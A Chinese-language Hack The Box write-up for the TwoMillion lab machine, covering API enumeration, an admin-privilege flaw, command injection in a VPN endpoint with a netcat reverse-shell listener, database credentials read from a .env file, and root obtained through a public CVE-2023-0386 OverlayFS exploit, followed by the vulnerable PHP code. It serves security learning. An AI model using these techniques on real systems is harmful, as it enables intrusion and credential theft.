# Hack The Box - TwoMillion Writeup Writeup for the box TwoMillion in Hack The Box. ## Box Info | Name | OS | Difficulty | |:---------- |:----- | ---------- | | TwoMillion | Linux | Easy | ## Recon ### Nmap ```bash ┌──(parallels㉿kali)-[~/Documents/Hack The Box/TwoMillion] └─$ sudo nmap 10.10.11.221 -oA nmap/initial Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-11 14:27 CST Nmap scan report for 10.10.11.221 Host is up (1.6s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 6.19 seconds ``` ```bash ┌──(parallels㉿kali)-[~/Documents/Hack The Box/TwoMillion] └─$ sudo nmap 10.10.11.221 -p22,80 -sC -sV -oA nmap/twomillion Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-11 14:31 CST Nmap scan report for 10.10.11.221 Host is up (0.23s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA) |_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519) 80/tcp open http nginx |_http-title: Did not follow redirect to http://2million.htb/ Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 18.32 seconds ``` 將域名加到 hosts 中: ```bash ┌──(parallels㉿kali)-[~/Documents/Hack The Box/TwoMillion] └─$ echo "\n10.10.11.221 2million.htb" | sudo tee -a /etc/hosts 10.10.11.221 2million.htb ``` ### Web Service - Port 80 網頁首頁: ![image](https://hackmd.io/_uploads/HJZIWKWebl.png) 從上方的 nav bar 可以前往登入頁面: ![image](https://hackmd.io/_uploads/HyQ_ZFZlWl.png) 而首頁的 join section 則會導向 `/invite`: ![截圖 2025-11-12 上午11.42.40](https://hackmd.io/_uploads/S1UPfK-gWe.png) 可以知道要註冊帳號需要先取得邀請碼: ![image](https://hackmd.io/_uploads/SyhFMFZxWl.png) ## Shell as www-data ### Get Invited Code 從 `/invite` 頁面的 source code 中可以看到使用了 `/js/inviteapi.min.js`: ![image](https://hackmd.io/_uploads/rkjW4YWxZl.png) 而 `inviteapi.min.js` 中可以找到能夠告訴我們邀請碼怎麼產生的 endpoint: ```javascript function verifyInviteCode(code) { var formData = { "code": code }; $.ajax({ type: "POST", dataType: "json", data: formData, url: '/api/v1/invite/verify', success: function(response) { console.log(response); }, error: function(response) { console.log(response); } }); } function makeInviteCode() { $.ajax({ type: "POST", dataType: "json", url: '/api/v1/invite/how/to/generate', success: function(response) { console.log(response); }, error: function(response) { console.log(response); } }); } ``` 訪問端點後會拿到 ROT13 加密過後的訊息: ![image](https://hackmd.io/_uploads/HJEFqPelWx.png) ``` Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb \/ncv\/i1\/vaivgr\/trarengr ``` ``` In order to generate the invite code, make a POST request to \/api\/v1\/invite\/generate ``` 解密後可以知道產生 invite code 的端點,再次訪問對應端點: ![image](https://hackmd.io/_uploads/S1FyAael-x.png) ``` MEkyTEctSVhHU0wtUkozRU0tSEFDVFA= ``` 進行 base64 decode 就能拿到 invite code 並註冊帳號了: ``` 0I2LG-IXGSL-RJ3EM-HACTP ``` ![image](https://hackmd.io/_uploads/S1joA6glWx.png) ### API Enumeration 從前面的操作中可以發現 API 的路徑都在 `/api` 上,而未登入時訪問 `/api` 會什麼都看不到: ![image](https://hackmd.io/_uploads/HkrBfqWlZg.png) 登入後嘗試訪問則可以看到路徑底下的 API 和相關描述: ![image](https://hackmd.io/_uploads/B1P9z0llZg.png) ![image](https://hackmd.io/_uploads/r13qbRgxZl.png) ### Upgrade to Admin 測試更新使用者設定的功能: ![image](https://hackmd.io/_uploads/H1bTW0xg-l.png) 跟據回傳的 error message 調整 HTTP Request 內容: ![image](https://hackmd.io/_uploads/Sku0bRxx-x.png) ![image](https://hackmd.io/_uploads/HyFlzRgeZx.png) ![image](https://hackmd.io/_uploads/r1hmMRle-l.png) 可以發現透過這個 endpoint 能成功將 user 提升權限至 admin: ![image](https://hackmd.io/_uploads/S1Ks5Rbx-x.png) ### Command Injection 測試產生 vpn 的 endpoint 會發現 admin 版本的會需要多附加一個 username 參數: ![image](https://hackmd.io/_uploads/BkivYU-gZe.png) ![image](https://hackmd.io/_uploads/Hy3SF8WeWe.png) ![image](https://hackmd.io/_uploads/H1RtF8ZeZl.png) 背後有可能使用 bash scripts / tools 來產生 vpn 連線檔,所以可以嘗試測試是否存在 Command Injection 漏洞。 ![image](https://hackmd.io/_uploads/H1UI9LZgWe.png) 發現漏洞存在後,傳入 reverse shell payload 來跟 server 建立連線: ![image](https://hackmd.io/_uploads/rJ2p9Ibg-e.png) ```bash ┌──(parallels㉿kali)-[~/Documents/Hack The Box/TwoMillion] └─$ nc -lvnp 9001 listening on [any] 9001 ... connect to [10.10.16.3] from (UNKNOWN) [10.10.11.221] 40614 bash: cannot set terminal process group (1189): Inappropriate ioctl for device bash: no job control in this shell www-data@2million:~/html$ ``` ## Shell as admin 檢查當前目錄可以看到 `.env` 檔案: ```bash www-data@2million:~/html$ ls -al total 56 drwxr-xr-x 10 root root 4096 Nov 12 01:00 . drwxr-xr-x 3 root root 4096 Jun 6 2023 .. -rw-r--r-- 1 root root 87 Jun 2 2023 .env -rw-r--r-- 1 root root 1237 Jun 2 2023 Database.php <SNIP> ``` 裡面包含了一組帳號密碼: ```bash www-data@2million:~/html$ cat .env DB_HOST=127.0.0.1 DB_DATABASE=htb_prod DB_USERNAME=admin DB_PASSWORD=SuperDuperPass123 ``` 透過這組帳密就能以 admin 使用者的身份 ssh 連線至 server 了: ```bash ┌──(parallels㉿kali)-[~/Documents/Hack The Box/TwoMillion] └─$ ssh admin@10.10.11.221 <SNIP> You have mail. <SNIP> admin@2million:~$ ``` ### user.txt ```bash admin@2million:~$ cat user.txt e7b2e696************************ ``` ## Shell as root 從 ssh 登入訊息中可以知道 admin 使用者有信件: ```bash ┌──(parallels㉿kali)-[~/Documents/Hack The Box/TwoMillion] └─$ ssh admin@10.10.11.221 <SNIP> You have mail. <SNIP> admin@2million:~$ ``` 查看 admin 的信件: ```bash admin@2million:~$ cat /var/mail/admin From: ch4p <ch4p@2million.htb> To: admin <admin@2million.htb> Cc: g0blin <g0blin@2million.htb> Subject: Urgent: Patch System OS Date: Tue, 1 June 2023 10:45:22 -0700 Message-ID: <9876543210@2million.htb> X-Mailer: ThunderMail Pro 5.2 Hey admin, I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that. HTB Godfather ``` 透過信件中提到的 OverlayFS 或是搜尋 kernel `5.15.70` 版本存在的 cve 可以找到對應的漏洞 (CVE-2023-0386): ```bash admin@2million:~$ uname -a Linux 2million 5.15.70-051570-generic #202209231339 SMP Fri Sep 23 13:45:37 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux ``` {%preview https://github.com/puckiestyle/CVE-2023-0386 %} 下載下來後照著 Readme 中給出的教學執行就能成功提權了: ```bash ┌──(parallels㉿kali)-[~/Documents/Hack The Box/TwoMillion] └─$ git clone https://github.com/puckiestyle/CVE-2023-0386.git ┌──(parallels㉿kali)-[~/Documents/Hack The Box/TwoMillion] └─$ scp -r CVE-2023-0386 admin@10.10.11.221:/home/admin ``` ```bash admin@2million:~/CVE-2023-0386$ make all <SNIP> admin@2million:~/CVE-2023-0386$ ./fuse ./ovlcap/lower ./gc ``` ```bash admin@2million:~/CVE-2023-0386$ ./exp uid:1000 gid:1000 [+] mount success total 8 drwxrwxr-x 1 root root 4096 Nov 12 03:30 . drwxrwxr-x 6 root root 4096 Nov 12 03:30 .. -rwsrwxrwx 1 nobody nogroup 16096 Jan 1 1970 file [+] exploit success! To run a command as administrator (user "root"), use "sudo <command>". See "man sudo_root" for details. root@2million:~/CVE-2023-0386# ``` ### root.txt ```shell root@2million:/root# cat root.txt 780ccb17************************ ``` ## Beyond Root ### update_settings endpoint 在 update settings 的功能中雖然會透過 `is_admin()` 檢查使用者的權限: ```php public function update_settings($router) { $db = Database::getDatabase(); $is_admin = $this->is_admin($router); if (!$is_admin) { return header("HTTP/1.1 401 Unauthorized"); exit; } <SNIP> } ``` 但 `is_admin()` function 在設計上不論是否為 admin 都是回傳 json 資料,因此如果判斷 `!$is_admin` 將會永遠為 True: ```php public function is_admin($router) { <SNIP> if ($user['is_admin'] == 1) { header('Content-Type: application/json'); return json_encode(['message' => TRUE]); } else { header('Content-Type: application/json'); return json_encode(['message' => FALSE]); } } ``` ### Vpn endpoint 可以看到 admin vpn 的 endpoint 有 command injection: ```php public function admin_vpn($router) { <SNIP> $this->regenerate_user_vpn($router, $username); $output = shell_exec("/usr/bin/cat /var/www/html/VPN/user/$username.ovpn"); return is_array($output) ? implode("<br>", $output) : $output; } ```